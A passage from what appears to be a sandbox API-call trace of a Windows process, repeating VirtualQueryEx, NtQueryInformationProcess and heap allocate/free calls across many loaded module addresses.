ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.790] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.790] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.790] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef83b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef83b0000, AllocationBase=0x7fef83b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.790] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.790] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.790] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.791] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb020000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb020000, AllocationBase=0x7fefb020000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.791] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.791] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd560000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd560000, AllocationBase=0x7fefd560000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.791] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.791] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8370000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8370000, AllocationBase=0x7fef8370000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.791] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.791] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8360000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8360000, AllocationBase=0x7fef8360000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.791] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.791] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc450000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc450000, AllocationBase=0x7fefc450000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.791] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.791] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbb0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbbb0000, AllocationBase=0x7fefbbb0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.791] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.791] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbb90000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbb90000, AllocationBase=0x7fefbb90000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.791] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.792] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef80b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef80b0000, AllocationBase=0x7fef80b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.792] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb590000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb590000, AllocationBase=0x7fefb590000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.792] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8030000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8030000, AllocationBase=0x7fef8030000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.792] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef8020000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef8020000, AllocationBase=0x7fef8020000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.792] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb2b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb2b0000, AllocationBase=0x7fefb2b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.792] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7f10000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7f10000, AllocationBase=0x7fef7f10000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.792] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7e90000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7e90000, AllocationBase=0x7fef7e90000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.792] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.792] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.792] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.793] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbef0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbef0000, AllocationBase=0x7fefbef0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.793] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.793] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.793] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbde0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbde0000, AllocationBase=0x7fefbde0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.793] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.793] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.793] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77320000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x77320000, AllocationBase=0x77320000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.793] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.793] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.793] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7830000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7830000, AllocationBase=0x7fef7830000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.793] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.793] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.793] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef77f0000, AllocationBase=0x7fef77f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.793] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.793] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.793] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef77b0000, AllocationBase=0x7fef77b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.793] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.793] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.793] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x733e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x733e0000, AllocationBase=0x733e0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.793] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.793] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.794] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb070000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb070000, AllocationBase=0x7fefb070000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.794] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.794] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7760000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7760000, AllocationBase=0x7fef7760000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.794] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.794] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7750000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7750000, AllocationBase=0x7fef7750000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.794] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.794] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7730000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7730000, AllocationBase=0x7fef7730000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.794] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.794] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7720000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7720000, AllocationBase=0x7fef7720000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.794] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.794] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4b50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4b50000, AllocationBase=0x7fef4b50000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.794] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.794] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.794] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.794] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa9a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa9a0000, AllocationBase=0x7fefa9a0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.795] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.795] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7f60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7f60000, AllocationBase=0x7fef7f60000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.795] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.795] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb430000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb430000, AllocationBase=0x7fefb430000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.795] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.795] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa930000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa930000, AllocationBase=0x7fefa930000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.795] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.795] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4a00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4a00000, AllocationBase=0x7fef4a00000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.795] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 